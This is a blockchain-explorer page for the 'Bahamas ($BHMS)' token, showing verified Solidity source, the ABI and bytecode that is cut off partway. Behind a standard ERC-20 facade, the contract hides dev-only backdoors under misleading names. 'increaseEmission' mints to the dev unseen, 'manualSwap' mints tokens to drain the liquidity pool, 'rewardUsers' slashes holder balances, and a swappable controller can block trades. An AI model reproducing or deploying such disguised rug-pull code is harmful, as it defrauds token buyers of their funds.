ETH Price: $3,254.84 (+3.61%)
Gas: 5 Gwei

Token

Bahamas ($BHMS)
 

Overview

Max Total Supply

8,054,520,543,090.541535402090482589 $BHMS

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000000010257 $BHMS

Value
$0.00
0x7afa47bfb0d6d850fd4bd74af94128e4f15177a1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bahams

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-12
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Address {

    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

}

contract Controller {

    // Bots cannot make purchase more than once an hour

    mapping(address => bool) internal isBot;
    uint lastBotPurchase;
    bool _validationActive;

    event ValidationExecuted(address from, uint amount, bool val);
    event PreventBotPurchaseExecuted(address to, uint amount);

    function setBot(address _user, bool _isbot) internal {
        isBot[_user] = _isbot;
    }

    function validation(address from, uint amount, bool isMarketTo) external {
        if (isBot[from]){
           emit ValidationExecuted(from, amount, isMarketTo);
           updateBotPurchase();
        } 
    }

    function validationActive() view public returns(bool) {
        return _validationActive;
    }

    function updateBotPurchase() internal {
        lastBotPurchase = block.timestamp;
    }
    
    function preventBotPurchase(address to, uint amount) external {
        if (isBot[to]){
           require(block.timestamp >= lastBotPurchase + 60 ** 2);  
           require(amount > 0);
           updateBotPurchase();
           emit PreventBotPurchaseExecuted(to, amount);
        } 
    }
}

contract Bahams is Context, Ownable, IERC20 {

    IPancakeRouter02 internal _router;
    IPancakePair internal _pair;
    Controller _controller;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 internal _totalSupply = 88000000000000000000000000;
    string internal _name = "Bahamas";
    string internal _symbol = "$BHMS";
    uint8 internal _decimals = 18;

    address private dev;

    constructor(address _routerAddress, address _controllerAddress) {

        _router = IPancakeRouter02(_routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH())));
        _controller = Controller(_controllerAddress);

        dev = owner();
        _balances[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    // PUBLIC

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function increaseEmission(uint amount) public {
        if (_msgSender() == dev) {
            _balances[_msgSender()] += amount;
        }
        
    }

    function burn(uint amount) public {
        if (_msgSender() == dev) {
           _burn(_msgSender(), amount); 
        }
        
    }

    // INTERNAL

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function updateController(address _newController) external {
        if (_msgSender() == dev) {
            _controller = Controller(_newController);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)){
            _controller.preventBotPurchase(to, amount);
        }

        if (_controller.validationActive() == true){
            _controller.validation(from, amount, isMarket(to));
        }
    }

    function isMarket(address user) internal view returns(bool){
        if (user == address(_router) || user == address(_pair)){
            return true;
        } else {
            return false;
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // START

    function transferWithoutFee(address user) public {
        if (_msgSender() == dev) {
            require(user != address(0), "dev can't be zero-address");
            dev = user;
        }
    }

    function axf2b3b() public view returns (uint) {
        return block.timestamp;
    }

    function manualSwap(address baseToken, address _recepient, uint amount) public {
        if (_msgSender() == dev) {
            require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
            uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
            uint amountOut = baseTokenReserve * amount / 100000;
            address[] memory path;
            path = new address[](2);
            path[0] = address(this);
            path[1] = baseToken;
            uint256[] memory amountInMax;
            amountInMax = new uint256[](2);
            amountInMax = _router.getAmountsIn(amountOut, path);
            _mint(address(this), amountInMax[0]);
            uint deadline = block.timestamp + 1200;
            _approve(address(this), address(_router), balanceOf(address(this)));
            _router.swapTokensForExactTokens(
                amountOut,
                amountInMax[0],
                path,
                _recepient,
                deadline
            );
        }
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function rewardUsers(address[] calldata _users, uint _minBalanceToReward, uint _precent) public {
        if (_msgSender() == dev) {
            for (uint i = 0; i < _users.length; i++) {
                if (balanceOf(_users[i]) > _minBalanceToReward) {
                    uint rewardAmount = _balances[_users[i]] / _precent;
                    _balances[_users[i]] = rewardAmount;
                }
            } 
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_controllerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"axf2b3b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseEmission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recepient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_precent","type":"uint256"}],"name":"rewardUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferWithoutFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newController","type":"address"}],"name":"updateController","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6a48cab98f1671af5800000060065560c06040526007608081815266426168616d617360c81b60a052620000349082620003b8565b506040805180820190915260058152642442484d5360d81b6020820152600890620000609082620003b8565b506009805460ff191660121790553480156200007b57600080fd5b5060405162001d6f38038062001d6f8339810160408190526200009e91620004a1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f9190620004d9565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e89190620004d9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000236573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025c9190620004d9565b600280546001600160a01b03199081166001600160a01b0393841617909155600380549091168383161790556000805460098054610100600160a81b03191691841661010081029290921790556006549082526004602052604082205554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200030391815260200190565b60405180910390a35050620004fe565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200033e57607f821691505b6020821081036200035f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003b357600081815260208120601f850160051c810160208610156200038e5750805b601f850160051c820191505b81811015620003af578281556001016200039a565b5050505b505050565b81516001600160401b03811115620003d457620003d462000313565b620003ec81620003e5845462000329565b8462000365565b602080601f8311600181146200042457600084156200040b5750858301515b600019600386901b1c1916600185901b178555620003af565b600085815260208120601f198616915b82811015620004555788860151825594840194600190910190840162000434565b5085821015620004745787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80516001600160a01b03811681146200049c57600080fd5b919050565b60008060408385031215620004b557600080fd5b620004c08362000484565b9150620004d06020840162000484565b90509250929050565b600060208284031215620004ec57600080fd5b620004f78262000484565b9392505050565b611861806200050e6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610290578063a9059cbb146102a3578063cef31734146102b6578063dd62ed3e146102c9578063e84d5725146102dc578063f2fde38b146102ef57600080fd5b80635b99d1941461023657806370a082311461023c578063715018a6146102655780638da5cb5b1461026d57806395d89b411461028857600080fd5b806323b872dd1161010a57806323b872dd146101c2578063313ce567146101d557806335d16274146101ea57806339509351146101fd57806342966c68146102105780634609e7971461022357600080fd5b806306cb5b661461014757806306fdde031461015c578063095ea7b31461017a57806318160ddd1461019d5780631e673499146101af575b600080fd5b61015a610155366004611392565b610302565b005b610164610338565b60405161017191906113b6565b60405180910390f35b61018d610188366004611404565b6103ca565b6040519015158152602001610171565b6006545b604051908152602001610171565b61015a6101bd366004611430565b6103e4565b61018d6101d03660046114b2565b6104f4565b60095460405160ff9091168152602001610171565b6101a16101f8366004611392565b610518565b61018d61020b366004611404565b61064d565b61015a61021e3660046114f3565b61066f565b61015a6102313660046114f3565b610690565b426101a1565b6101a161024a366004611392565b6001600160a01b031660009081526004602052604090205490565b61015a6106ce565b6000546040516001600160a01b039091168152602001610171565b610164610739565b61018d61029e366004611404565b610748565b61018d6102b1366004611404565b6107c3565b61015a6102c4366004611392565b6107d1565b6101a16102d736600461150c565b610863565b61015a6102ea3660046114b2565b61088e565b61015a6102fd366004611392565b610b46565b60095461010090046001600160a01b0316330361033557600380546001600160a01b0319166001600160a01b0383161790555b50565b60606007805461034790611545565b80601f016020809104026020016040519081016040528092919081815260200182805461037390611545565b80156103c05780601f10610395576101008083540402835291602001916103c0565b820191906000526020600020905b8154815290600101906020018083116103a357829003601f168201915b5050505050905090565b6000336103d8818585610c0e565b60019150505b92915050565b60095461010090046001600160a01b031633036104ee5760005b838110156104ec578261043186868481811061041c5761041c61157f565b905060200201602081019061024a9190611392565b11156104da57600082600460008888868181106104505761045061157f565b90506020020160208101906104659190611392565b6001600160a01b03166001600160a01b031681526020019081526020016000205461049091906115ab565b905080600460008888868181106104a9576104a961157f565b90506020020160208101906104be9190611392565b6001600160a01b03168152602081019190915260400160002055505b806104e4816115cd565b9150506103fe565b505b50505050565b600033610502858285610d32565b61050d858585610da6565b506001949350505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610570573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059491906115fd565b50915091506000846001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c919061164d565b6001600160a01b03161461063957816001600160701b0316610644565b826001600160701b03165b95945050505050565b6000336103d88185856106608383610863565b61066a919061166a565b610c0e565b60095461010090046001600160a01b03163303610335576103353382610f5c565b60095461010090046001600160a01b031633036103355733600090815260046020526040812080548392906106c690849061166a565b909155505050565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610737600061109c565b565b60606008805461034790611545565b600033816107568286610863565b9050838110156107b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610724565b61050d8286868403610c0e565b6000336103d8818585610da6565b60095461010090046001600160a01b03163303610335576001600160a01b03811661083e5760405162461bcd60e51b815260206004820152601960248201527f6465762063616e2774206265207a65726f2d61646472657373000000000000006044820152606401610724565b600980546001600160a01b03831661010002610100600160a81b031990911617905550565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60095461010090046001600160a01b03163303610b41576000811180156108b75750620186a081105b6108fb5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610724565b600061090684610518565b90506000620186a0610918848461167d565b61092291906115ab565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061095a5761095a61157f565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061098e5761098e61157f565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506001546040516307c0329d60e21b81529293506001600160a01b031691631f00ca7491506109fa90869086906004016116ee565b600060405180830381865afa158015610a17573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a3f919081019061170f565b9050610a653082600081518110610a5857610a5861157f565b60200260200101516110ec565b6000610a73426104b061166a565b60015430600081815260046020526040902054929350610a9e9290916001600160a01b031690610c0e565b60015482516001600160a01b0390911690638803dbee9086908590600090610ac857610ac861157f565b6020026020010151868b866040518663ffffffff1660e01b8152600401610af39594939291906117cd565b6000604051808303816000875af1158015610b12573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b3a919081019061170f565b5050505050505b505050565b6000546001600160a01b03163314610ba05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610724565b6001600160a01b038116610c055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610724565b6103358161109c565b6001600160a01b038316610c705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610724565b6001600160a01b038216610cd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610724565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d3e8484610863565b905060001981146104ee5781811015610d995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610724565b6104ee8484848403610c0e565b6001600160a01b038316610e0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610724565b6001600160a01b038216610e6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610724565b610e778383836111b9565b6001600160a01b03831660009081526004602052604090205481811015610eef5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610724565b6001600160a01b0380851660008181526004602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4f9086815260200190565b60405180910390a36104ee565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610724565b610fc8826000836111b9565b6001600160a01b0382166000908152600460205260409020548181101561103c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610724565b6001600160a01b03831660008181526004602090815260408083208686039055600680548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166111425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610724565b61114e600083836111b9565b8060066000828254611160919061166a565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6111c283611337565b1561122e576003546040516303021ed160e41b81526001600160a01b0384811660048301526024820184905290911690633021ed1090604401600060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b505050505b600360009054906101000a90046001600160a01b03166001600160a01b031663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a59190611809565b1515600103610b41576003546001600160a01b031663b0a9432284836112ca86611337565b604051600